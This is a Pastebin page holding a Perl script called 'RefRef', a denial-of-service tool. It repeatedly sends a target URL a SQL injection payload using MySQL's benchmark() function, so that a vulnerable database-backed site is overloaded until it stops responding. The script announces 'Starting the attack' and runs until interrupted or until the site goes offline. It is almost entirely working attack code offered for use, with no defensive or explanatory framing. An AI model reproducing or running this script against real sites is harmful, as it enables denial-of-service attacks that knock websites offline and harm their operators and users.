SHARE
TWEET

Untitled

a guest Oct 19th, 2017 50 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!usr/bin/perl
  2. #RefRef (C) Anonymous 2011
  3.  
  4. use LWP::UserAgent;
  5.  
  6. my $nave = LWP::UserAgent->new;
  7. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20                                                                                                 080201Firefox/2.0.0.12");
  8. $nave->timeout(5);
  9.  
  10. head();
  11. if($ARGV[0]) {
  12. now($ARGV[0]);
  13. } else {
  14. sintax();
  15. }
  16. copyright();
  17.  
  18. sub now {
  19. print "\n[+] Target : ".$_[0]."\n";
  20. print "\n[+] Starting the attack\n[+] Info : control+c for stop attack\n\n";
  21. while(true) {
  22. $SIG{INT} = \&adios;
  23. $code = toma($_[0]." and (select+benchmark(99999999999,0x70726f62616e646f70726f6                                                                                                 2616e646f70726f62616e646f))");
  24. unless($code->is_success) {
  25. print "[+] Web Off\n";
  26. copyright();
  27. }}}
  28.  
  29. sub adios {
  30. print "\n[+] Stoping attack\n";
  31. copyright();
  32. }
  33.  
  34. sub head {
  35. print "\n\n-- == #RefRef == --\n\n";
  36. }
  37.  
  38. sub copyright {
  39. print "\n\n-- == RefRef == --\n\n";
  40. exit(1);
  41. }
  42.  
  43. sub sintax {
  44. print "\n[+] Sintax : $0 \n";
  45. }
  46.  
  47. sub toma {
  48. return $nave->get($_[0]);
  49. }
  50.  
  51. # ¿ The End ?
RAW Paste Data
Top